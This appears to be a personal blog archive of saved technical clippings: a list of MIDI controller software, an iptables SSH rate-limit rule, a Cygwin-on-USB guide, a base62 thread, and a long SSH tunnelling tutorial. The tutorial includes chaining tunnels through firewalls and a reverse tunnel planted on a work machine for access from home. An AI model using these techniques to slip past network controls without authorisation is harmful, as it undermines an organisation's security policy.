20090917

http://www.djtechtools.com/forum/showthread.php?t=2862

http://www.djtechtools.com/forum/showthread.php?t=2862


Midi Controllerism Software

--------------------------------------------------------------------------------

I'd like to collect PC software here that will convert different signals from a variety of input devices into MIDI or keystrokes for use in controllerism. Please don't clutter this thread with "Oh WOW" and "That's great!" Start a new thread about that software. Just add links in the format I've started, and even add a quick description. Add any new categories, I skipped iPhone since I don't have one.

Iphone/Ipod Touch:
Osculator http://www.osculator.net/
TouchOSC http://hexler.net/touchosc
iTouch Midi suite http://www.itouchmidi.com/

Joysticks:
Joy2MIDI http://krypt.dyndns.org:81/joy2midi/ (FREE)
MJoy http://www.otk.it/mjoy/ (FREE)
Rejoice http://raritiesvault.net/bcd3000/viewtopic.php?f=4&t=19 (FREE)
BadStick: http://www.chaossurfers.com/softs/ (FREE*)
MidiJoys http://www.soundtower.com/synth/midijoys.htm (FREE)
ShoRyuKen2 VST: http://pagesperso-orange.fr/silicon_silicium/ (FREE)
3D MIDIJoy/Pad VST: http://acousmodules


--
map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}
unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`"

http://students.washington.edu/sunila/JOM_5-3-03.pdf

http://students.washington.edu/sunila/JOM_5-3-03.pdf
--
map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}
unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`"

20090911

http://www.debian-administration.org/articles/187

Using iptables to rate-limit incoming connections
Posted by Steve on Sun 17 Jul 2005 at 00:39

Tags: firewalls, iptables, ssh
The iptables firewall has several useful extension modules which can be used to in addition to the basic firewall functionality. One of the more interesting of these extensions is the "recent" module which allows you to match recent connections, and perform simple throttling on incoming connections.




iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent \
--set

iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent \
--update --seconds 60 --hitcount 4 -j DROP

--
map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}
unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`"

20090903

hh netcfg.chm

hh netcfg.chm


--
map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}
unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`"

20090723

http://www.spencerstirling.com/computergeek/sshtunnel.html


SSH Tunneling (TCP port forwarding)

Spencer Stirling



tip: April 2009. I have found that the tunnels "collapse" (i.e.
don't die, but no longer function properly) if the option
"TCPKeepAlive yes" is used in the /etc/ssh/sshd_config file. Instead
I set this option to "no" and add the lines "ClientAliveCountMax 3" and
"ClientAliveInterval 15". Check the manpages for sshd_config for
details.



SSH Tunneling is probably one of the coolest things that you can
learn how to do. Basically, an SSH tunnel is an internet "pipeline"
through which data can be sent. If used appropriately then your
data is always encrypted, which prevents eavesdropping. But that's
NOT ALL!!! SSH tunnels
can also be used to connect machines on opposite sites of a firewall(s).
More precisely, an
SSH tunnel forwards a *local* TCP port to a *remote* TCP port
through a firewall!!! This can be useful in any of the following
situations:



1) You need to "talk directly" (to a specific TCP port) to a machine
that is separated from you by a firewall/gateway (assuming that you can
*at least* SSH into the gateway).



2) You can send data directly to a machine, but you don't like the fact
that the data is sent unencrypted.



3) Both (1) and (2).



First application: Bypassing a Gateway

Consider the following situation: you are sitting on "mymachine", and
you have a program that needs to send data to a TCP port (say 5900) on
"remotemachine". If the two machines can talk directly then there is no
problem, but what if "remotemachine" is behind "firewall"? In that case
you cannot even refer to "remotemachine" directly - as far the outside
world is concerned "remotemachine" doesn't even exist. All communication between
"remotemachine" and the internet is done through "firewall".



If you *happen* to be able to SSH into the "firewall", however, then
you are in luck. In that case, "firewall" knows about "remotemachine",
and "mymachine" knows about "firewall", so maybe a menage a trois can be
rigged up. The following SSH command (run on "mymachine") sets up a tunnel:



ssh -N -L 33642:remotemachine:5900 user@firewall



Then you could telnet (for example) to "remotemachine" port 5900 by running
the command on "mymachine"



telnet localhost 33642



Let's dissect this a little. The main piece is "ssh user@firewall" - you
are literally SSHing into the firewall. So when it asks for a password,
give the one for your account on the firewall. The "-N" is not important -
this just keeps the pipe open.



The "-L 33642:remotemachine:5900" piece is the RELAY part. This tells
SSH that you don't want to actually OPEN UP A SHELL on firewall, but instead that
you are merely using it as a relay. Notice that "remotemachine"
doesn't necessarily need to be addressable from the outside - it is only
necessary that "firewall" knows how to find it!!! The piece "-L" tells SSH
to listen to port 33642 on "mymachine" (listen locally) and
redirect any received data THROUGH "firewall" and on to port 5900 on
"remotemachine". So, in essence, telnet'ing to "localhost 33642" is
*like* telnet'ing to "remotemachine 5900".



There are a few things to note here:



1) port 33642 was chosen at random. You merely need a free port on
"mymachine" to use and abuse (try "netstat" to list ports in use).



2) The session is encrypted between "mymachine" and "firewall", but
in between "firewall" and "remotemachine" the data is sent IN THE CLEAR
(i.e. as usual), so be aware (there is a way to fix this - see below).



3) It IS possible to "chain" up SSH tunnels to go through MULTIPLE
gateways if necessary!



4) There is a "-R" switch that does the OPPOSITE - it captures traffic
on the remote side and forwards it to the local machine.



Now that we know how to go through one firewall, let's
learn how to chain up SSH tunnels to punch through multiple firewall
levels! So I want to implement the diagram:



mymachine ---> Afirewall ---> Bfirewall ---> remotemachine



This is easy, as long as you have SSH accounts on both firewalls! Let
me mention here that this is the "lazy man's" way - meaning that data
is encrypted all of the way through EXCEPT (as usual) at the last
level between "Bfirewall" and "remotemachine". Again, see below for
a way to remedy this.



First, SSH into "Afirewall" (like you've ALWAYS known how to do, i.e.
log in to a shell) and run "netstat" to find
an open port there (say 4652 for our example). Then, while logged
into "Afirewall" set up the last "hop" with the command:



ssh -N -L 4652:remotemachine:5900 user@Bfirewall



This command picks up port 4652 on "Afirewall" and forwards it
THROUGH "Bfirewall" to its final destination at "remotemachine" port 5900.



Now, back on "mymachine" execute



ssh -N -L 33642:localhost:4652 user@Afirewall



This opens up a tunnel from port 33642 on "mymachine" and forwards
THROUGH "Afirewall" to ITSELF on port 4652 (remember... when using
the -L option the machine name
that appears between the :: is resolved from the point-of-view of "Afirewall",
so localhost is ITSELF).



You can obviously go through any number of firewalls this way - just
run an SSH tunnel between each firewall IN TURN, always forwarding to the
relaying firewall ITSELF except at the last "hop" (however, see below for
greater security).



Using an SSH Tunnel to encrypt your session

SSH tunnels are not only useful for punching through firewalls,
but they are also useful if you want an encrypted channel from source to
destination. Let's suppose that you can talk directly to "remotemachine",
then you could just directly



telnet remotemachine 5900



But you MIGHT not want to do that! You data goes over the internet
in the open! There is a better way, that is if you have to ability
to SSH in "remotemachine". If so then
consider these commands (run on "mymachine"):



ssh -N -L 33642:localhost:5900 user@remotemachine

telnet localhost 33642



The first command creates an encrypted pipe from "mymachine" to
"remotemachine" that - guess what - forwards data to ITSELF (see how
the word "localhost" shows up between :: - that's "remotemachine"
referring to ITSELF)! The second command opens up a telnet session
on "mymachine" to port 33642. This session is then FORWARDED
over the pipe to "remotemachine", which then forwards the session
to ITSELF on port 5900! Pretty cool, huh? So your data is not
running around in the open. Obviously, when SSH asks for a
login here you should give your login information for "remotemachine".



You can combine this technique while you are punching through
firewalls, too! The strategy is this: follow the technique for
forwarding through multiple firewalls as outlined above, but at
the last firewall don't "wimp out" and just "hop" over it. Instead,
use the "forwarding to itself" method at EVERY step (this will require
one extra step to the final "remotemachine").



Let's see how this goes:
first, get an SSH *shell* session on each firewall
(even the last one) going - probably by SSHing through each firewall
successively. Find yourself a free port on each firewall.
For simplicity I'll use an example with 4 firewalls, and the free
ports will be 4651, 4652, 4653, and 4654 on each firewall, respectively
(they could be the SAME numbers... obviously ports on different
machines have nothing to do with each other). Then consider the
sequence:



1) On "Dfirewall" run:


ssh -N -L 4654:localhost:5900 user@remotemachine



This sets up that final secure link between "Dfirewall" and
"remotemachine" - using the technique that I just described, i.e.
"remotemachine" forwards the final bit of traffic to itself, so
there is NEVER a time when the data is out in the open.



2) On "Cfirewall" run:

ssh -N -L 4653:localhost:4654 user@Dfirewall



3) On "Bfirewall" run:

ssh -N -L 4652:localhost:4653 user@Cfirewall



4) On "Afirewall" run:


ssh -N -L 4651:localhost:4652 user@Bfirewall



5) On "mymachine" run:

ssh -N -L 33642:localhost:4651 user@Afirewall



That's IT! Now, on "mymachine" you could telnet into
"remotemachine" with the command



telnet localhost 33642



Important TIP: in all of these examples I've been using
"telnet", but really any program that needs to send to a port
works. There IS ONE caveat! What if you forward to port 22
and try to use SSH as your generic "program"!
In other words, after setting up the tunnel to port 22, you could
*try* to SSH to "remotemachine" with the command



ssh -p 33642 localhost



Maybe this seems like a stupid thing to do (setting up an
SSH tunnel just to get an SSH session), but many programs use
SSH under the hood, so we'd better talk about it. The problem
is that SSH will give you the
very scary "WATCH OUT PEOPLE ARE WATCHING YOU" and "MAN-IN-THE-MIDDLE
ATTACK" messages - and probably won't let you proceed. This is
because SSH keeps a certificate around from every machine to which it
connects. If this certificate ever changes then SSH assumes that
something went wrong. So, in the above example, SSH looks up the
certificate for "localhost" - which will definitely not match
the certificate that it's *actually getting* from "remotemachine" over
the SSH tunnel. The way around this is to use the MODIFIED
SSH command



ssh -p 33642 -o HostKeyAlias="remotemachine" localhost



This will tell SSH to not check the "localhost" certificate, but rather
that for "remotemachine".



If you are going to hook up with sketchy women than
you should Double-Bag IT!!!


There is one obvious point of weakness here - what if you don't FULLY
trust those firewalls? It would be relatively easy for a user on any
firewall to sniff your traffic (and modify IT, if they want!!!). This
is because as traffic comes into the firewall it is decrypted. Then it
is sent to the appropriate port, where ANOTHER copy of SSH picks it up,
encrypts it again, and sends it on to the next firewall.



The solution is to run another SSH tunnel INSIDE of the SSH tunnel.
The price is this: you'll have to use up another port on your local
machine (but who cares?). So, using the previous example (with 4
firewalls) you should execute:



1) On "Dfirewall" run:

ssh -N -L 4654:localhost:22 user@remotemachine



Notice the main difference HERE from the previous example.
I am forwarding to port 22 (the SSH port) instead of the
final destination port 5900! This is so that I can (later) set
up an SSH tunnel within this SSH tunnel.



2) On "Cfirewall" run:

ssh -N -L 4653:localhost:4654 user@Dfirewall



3) On "Bfirewall" run:


ssh -N -L 4652:localhost:4653 user@Cfirewall



4) On "Afirewall" run:

ssh -N -L 4651:localhost:4652 user@Bfirewall



5) On "mymachine" run:

ssh -N -L 43642:localhost:4651 user@Afirewall




At this point we have an SSH tunnel from port 43642 (ANOTHER
random port that was chosen) to the SSH server listening on port
22 on "remotemachine".



Now, to set up the "tunnel within the tunnel" I could execute
the following command on "mymachine":



ssh -p 43642 -N -L 33642:localhost:5900 -o HostKeyAlias="remotemachine" localhost



This sets up the tunnel from port 33642 on "mymachine" to port 5900 on
"remotemachine" INSIDE the previous tunnel that had been established from
port 43642 on "mymachine" to port 22 on "remotemachine".



The "-o HostKeyAlias=" statement is VERY important. See the discussion
above for an explanation.



An example where the "-R" switch can be very useful

Now let's suppose that you DON'T have an SSH account on the firewall!
What can you do? You still want to forward port 33642 on "mymachine"
to port "5900" on "remotemachine". The reason that we're dealing with
any of this at all is that "remotemachine" is hidden behind a firewall.
However, "mymachine" is not (or, at least, we'll assume for simplicity that
"mymachine" is public). So "remotemachine" can actually see "mymachine",
just not the other way around.



If you can ever get PHYSICAL access to "remotemachine" then you're
in luck (say, you go into work every day). On "remotemachine"
you could run the following command:



ssh -N -R 33642:localhost:5900 "mymachine"



That sets up a tunnel that forwards all traffic from the REMOTE port
(in this case "mymachine" port 33642) to port 5900 on localhost (i.e.
"remotemachine"). After running this at work you could then set up
whatever program to listen to port 5900 and go home.



Now, at home on "mymachine" it would be easy to telnet into
"remotemachine" port 5900. Just do the usual



telnet localhost 33642



Now THAT'S COOL! Consider all of the neat things you can do with
this. Personally I'd set up a forward to port 22 - then you can have
full SSH access from home and set anything else up that you could
ever want remotely!



This page has been visited
 8,606 (14 today) times since March 26, 2006



--
map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}
unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`"

20090710

Re: Base62 encoding/decoding

<br />Re: Base62 encoding/decoding <br />by Todd Benson-2 May 06, 2009; 08:12pm :: Rate this Message: - Use ratings to moderate (?)<br /><br />Reply | Reply to Author | Print | View Threaded | Show Only this Message <br /><br />On Wed, May 6, 2009 at 11:32 AM, Martin DeMello <martindemello@...> wrote: <br />> <br />> it's definitely possible, just inefficient. first you set up your lookup table: <br />> <br />>> digits = (0..9).to_a.map(&:to_s) + ("a".."z").to_a + ("A".."Z").to_a <br />>> <br />> <br />> then you repeatedly find the lowest digit <br />> <br />>> out = "" <br />>> while n > 0 <br />>> rest, units = n.divmod(62) <br />>> out = digits[units] + out <br />>> n = rest <br />>> end <br />> <br />> martin <br />> <br />> <br />...[show rest of quote]<br /><br />Isn't that just a simple cipher (i.e. map)? I must be missing <br />something. According to what I've read so far, base64 is not, and <br />base62 is, except for that paper written in a scientific journal that <br />I don't have access to (but, for the summary, of course). I suppose <br />that is what the OP wanted anyway. <br /><br />Todd <br /><br /> <br /><br /> Re: Base62 encoding/decoding <br />by Martin DeMello May 07, 2009; 07:44am :: Rate this Message: - Use ratings to moderate (?)<br /><br />Reply | Reply to Author | Print | View Threaded | Show Only this Message <br /><br />On Wed, May 6, 2009 at 11:42 PM, Todd Benson <caduceass@...> wrote: <br />> On Wed, May 6, 2009 at 11:32 AM, Martin DeMello <martindemello@...> wrote: <br />>> <br />>>> out = "" <br />>>> while n > 0 <br />>>> rest, units = n.divmod(62) <br />>>> out = digits[units] + out <br />>>> n = rest <br />>>> end <br />> <br />> Isn't that just a simple cipher (i.e. map)? I must be missing <br />> something. According to what I've read so far, base64 is not, and <br />> base62 is, except for that paper written in a scientific journal that <br />> I don't have access to (but, for the summary, of course). I suppose <br />> that is what the OP wanted anyway. <br />...[show rest of quote]<br /><br />No, it's a number base transformation. Here's an example using base 7 <br />(as being easier to work with than 62 :)): <br /><br />letting n = 1250, and using # as a divmod operator: <br /><br />1250 # 7 = 178, 4 <br />178 # 7 = 25, 3 <br />25 # 7 = 3, 4 <br />3 # 7 = 0, 3 <-- we have reached n=0, so the loop terminates <br /><br />so 1250[base 10] = 3434 [base 7] <br /><br />If you think about it, base 10 works the same way: <br /><br />1250 # 10 = 125, 0 <br />125 # 10 = 12, 5 <br />12 # 10 = 1, 2 <br />1 # 10 = 0, 1 <br /><br />so 1250[base 10] = 1250[base 10] <br /><br />To go the other way, you repeatedly add the least significant digit <br />and multiply by the base <br /><br />so 3434[7] <br /><br />start with 0, and read the digits in forward order <br />(0 * 7) + 3 = 3 <br />3 * 7 + 4 = 25 <br />24 * 7 + 3 = 178 <br />178 * 7 + 4 = 1250 <--- et voila! <br /><br />martin <br /><br /><br />martin <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/07/re-base62-encodingdecoding.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/07/re-base62-encodingdecoding.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-07-10T14:16:00+02:00'>14:16</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/07/re-base62-encodingdecoding.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=6789997588529783849&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>20090708</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='8114172715401519723' itemprop='postId'/> <a name='8114172715401519723'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://www.chromeexperiments.com/detail/wavy-scrollbars/'>http://www.chromeexperiments.com/detail/wavy-scrollbars/</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-8114172715401519723' itemprop='description articleBody'> http://www.chromeexperiments.com/detail/wavy-scrollbars/<br /><br />--<br />map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}<br />unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`" <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/07/httpwwwchromeexperimentscomdetailwavy.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/07/httpwwwchromeexperimentscomdetailwavy.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-07-08T11:01:00+02:00'>11:01</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/07/httpwwwchromeexperimentscomdetailwavy.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=8114172715401519723&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>20090619</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='8554524387817787292' itemprop='postId'/> <a name='8554524387817787292'></a> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-8554524387817787292' itemprop='description articleBody'> yourfilehost/?af=off<br />--<br />map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}<br />unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`" <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/yourfilehostafoff-map-maptr10-print.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/yourfilehostafoff-map-maptr10-print.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-19T11:48:00+02:00'>11:48</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/yourfilehostafoff-map-maptr10-print.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=8554524387817787292&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>20090616</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='5559463667486583408' itemprop='postId'/> <a name='5559463667486583408'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://sites.google.com/site/devinsezer/Home/software/portable-cygwin'>http://sites.google.com/site/devinsezer/Home/software/portable-cygwin</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-5559463667486583408' itemprop='description articleBody'> <div dir="ltr"><h2 align="left" style="font-weight:normal"><a name="TOC-Ali-Devin-Sezer-5-Feb-2005"></a><span style="font-family:arial;font-size:13px">Ali Devin Sezer, 5 Feb 2005</span></h2><br /><hr /><br /><p width="600"> Cygwin is a software package that<br />enables one to work in a UNIX-like environment<br />under a Windows machine. It is fast, reliable and easy<br />to install. It has most of the applications<br />one uses on UNIX (gcc, X, xfig, latex, Perl, bash, ps<br />tools, textutils,...) and most of it is covered by the GNU <br />public license. Cygwin supports many flavors of Windows:XP, 2000,<br />98, etc. For more info on cygwin go to <br /><a href="http://www.cygwin.com/" rel="nofollow">Cygwin.com</a>. <br /><br /></p><p width="400"> The goal of this page is to describe a way of<br />installing cygwin on a portable storage device like a portable hard drive <br />or a USB memory stick. The main use of such a setup, obviously, is that <br />it enables you to carry a UNIX like system in your pocket everywhere <br />you go and use any Windows machine (e.g. Windows pc's at your<br />university library) with your own powerful cygwin/UNIX tools.<br /><br /><br /></p><p><br /></p><h3><a name="TOC-Choice-of-Portable-device"></a> Choice of Portable device</h3><br />The choice of device doesn't really change the installation process.<br />However here are some notes on this issue:<br /><ul><li><em>USB memory stick</em>: <br />A core cygwin installation doesn't need more than a<br />couple of hundred MBs. Thus a 1 GB USB memory stick easily gives<br />you the capacity you need to install cygwin. But, remember that<br />USB memory sticks are slow<br />(bearable with NTFS crawling with FAT32) <br />if you install a big file system <br />on them.<br /><br /><p><br /></p></li><li><em> CDROM's</em>. Because CDROMs are read-only, they are <br />a poor choice of media to install cygwin.<br />See the following posts at cygwin.com:<br /><ul><li><br /><a href="http://www.cygwin.com/ml/cygwin/2003-07/msg00026.html" rel="nofollow"><br />http://www.cygwin.com/ml/cygwin/2003-07/msg00026.html</a><br /></li><li><br /><a href="http://www.cygwin.com/ml/cygwin/2003-05/msg00692.html" rel="nofollow"><br /><br />http://www.cygwin.com/ml/cygwin/2003-05/msg00692.html<br /></a><br /></li><li><br /><a href="http://www.cygwin.com/ml/cygwin/2003-05/msg00705.html" rel="nofollow"><br />http://www.cygwin.com/ml/cygwin/2003-05/msg00705.html<br /></a><br /></li><li><br /><a href="http://www.cygwin.com/ml/cygwin/2003-05/msg00728.html" rel="nofollow"><br />http://www.cygwin.com/ml/cygwin/2003-05/msg00728.html</a><br /></li></ul><br /><p><br /></p></li><li><em> Portable Hard drives </em>: Portable Hard drives are great.<br />If you are getting one, make sure you get one that receives power through the<br />USB cable and from the computer. <br /><br /></li></ul><br /><br />The rest of this note is independent of the choice of portable storage device.<br /><br /><h3><a name="TOC-Choice-of-Filesystem"></a>Choice of Filesystem</h3><br />You have two realistic choices for a file system (FS) on your portable storage<br />device:fat32 and ntfs. (For those who are not familiar with <br />FSs: FS is what is installed on a storage device when you format<br />it. The formatting software asks you which kind of FS you want).<br />Although NTFS is a much better FS, I had read/write permission problems<br />with it when using different computers on which i had different accounts.<br />A simplistic solution to this problem is to use fat32.<br />That's what I do.<br /><br /><h3><a name="TOC-Installation"></a>Installation</h3><br />I assume that your portable storage device is already formatted.<br />Here are the steps:<br /><ul><li>Go to <a href="http://www.cygwin.com/" rel="nofollow">cygwin.com</a> and<br />install cygwin on your portable storage device. <br />Let's designate your<br />portable storage device with "E:\" and assume that you installed cygwin in<br />"E:\cygwin". <br /><p>As is, this installation will work only when your portable storage device<br />is connected to the computer on which you performed the installation. What<br />follows is <br />what you need to do so that your cygwin can work with any host<br />windows computer.<br /></p><p><br /></p></li><li>Unless it is not there, create the directory "E:\cygwin\home". Then<br />create the directory "E:\cygwin\home\<em>username</em>", where<br /><em>username</em> is a user name that you pick. (e.g. your name).<br />This will be your home directory:<br />whenever you start an rxvt or an xterm it will start with this directory<br />as the current directory.<br /><br /><p><br /></p></li><li> Copy <a href="http://www.dam.brown.edu/people/sezer/software/cygwin/profile" rel="nofollow">profile</a> to E:\cygwin\etc. Open it<br />with an editor (e.g. notepad) and replace the phrase "username" (it<br />occurs twice) with the user name you have chosen above.<br /><p><br /><em><br />The scripts ``X.bat'' and ``uninstall.bat'' modify host's registry. They insert several keys in the CURRENT USER<br />and LOCAL MACHINE<br />sections of the registry. These keys are modified through the ``mount'' command of cygwin and are <br />referred to by cygwin to find out which directories on the Windows directory structure are going to be<br />mapped to /bin, /lib and /. If cygwin is already installed on the host, "X.bat"<br />will save these entries before changing them. The modified entries are<br />later restored when you are done using your portable cygwin and run<br />the "uninstall.bat" script.<br /></em><br /></p><p><br /></p><br /></li><li><br />Download <a href="http://www.dam.brown.edu/people/sezer/software/cygwin/X.tab" rel="nofollow"><br />X.tab</a> and put it in "E:\". Rename it "X.bat" [*].<br />This script<br />assumes that you installed cygwin under "E:\cygwin" on<br />your storage device. If you installed it in some other directory<br />you will need to modify this script to reflect that (<br />X.bat figures out the drive label of the portable device [assumed<br />to be E in this discussion] on its own. So you have to change X.bat only<br />if cygwin is installed in some directory other than "cygwin" in the<br />root directory of your portable storage device).<br /><br />X.bat inserts several keys into the windows<br />registry. This is required for cygwin to work. It also saves any key<br />values that it might alter. <br />Finally it starts a copy of the X server and a terminal<br />(assuming that X and rxvt were installed in step 1). <br /><br /><br /></li><li>Download <a href="http://www.dam.brown.edu/people/sezer/software/cygwin/uninstall.tab" rel="nofollow">uninstall.tab</a> and put it in "E:\". <br />Rename it to "uninstall.bat" [*]. Run this script once you are done<br />using cygwin and quit all cygwin software. It restores any registry<br />keys that might have been altered when running "X.bat". <br /></li></ul><br />This is it. double clicking <br />"X.bat" will make cygwin operational and start an X server as well as an<br />rxvt. When you exit all cygwin software, double click "uninstall.bat". <br /><br /><br /><p><br />If you are using a very old windows, replace<br /></p><pre> for /f %%A in ('cd') do set WD=%%A</pre><br />in "X.bat" with<br /><pre>set WD=%1<br /></pre><br />and start "X.bat" from "Run" in the Start menu by typing<br />"X.bat [DRIVE]:\" in the Run box, <br />where [DRIVE] is the letter that Windows assigned to your portable storage<br />device (`E' in the above examples).<br /><br /><br />[*]<br />This script is based on a script by Fergus in the CD-ROM<br />related postings at cygwin.com (see the links above).<br /><br /><br /><p><br /></p></div><pre><br />X.tab:<br />for /F %%A in ('cd') do set WD=%%A<br />cygwin\bin\mount -m | cygwin\bin\sed s/mount/"%WD%\/cygwin\\/bin\\/mount"/ > cygwin\tmp\mount.log<br />cygwin\bin\umount -c<br />cygwin\bin\umount -A<br />cygwin\bin\mount -bfu %WD%cygwin/ /<br />cygwin\bin\mount -bfu %WD%cygwin\bin /usr/bin<br />cygwin\bin\mount -bfu %WD%cygwin\lib /usr/lib<br /><br />set path=%path%;%WD%cygwin\bin;%WD%cygwin\usr\X11R6\bin<br />start cygwin\bin\rxvt.exe -title "" -bg "#fafad2" -fg "#000040" -color10 green4 -color14 brown -fn "Lucida Console-14" -geometry 80x58+0+0 -sl 4000 -sr -tn rxvt -e /bin/bash --login -i<br />set DISPLAY=localhost:0.0<br />run cygwin\usr\X11R6\bin\XWin -multiwindow -emulate3buttons 200<br /><br /><br />uninstal.tab:<br /><br />cygwin\bin\umount -c<br />cygwin\bin\umount -A<br />cygwin\bin\bash cygwin\tmp\mount.log<br />cygwin\bin\rm cygwin\tmp\mount.log<br /><br />--<br />map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}<br />unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`"</pre> <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/httpsitesgooglecomsitedevinsezerhomesof.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/httpsitesgooglecomsitedevinsezerhomesof.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-16T17:29:00+02:00'>17:29</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/httpsitesgooglecomsitedevinsezerhomesof.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a 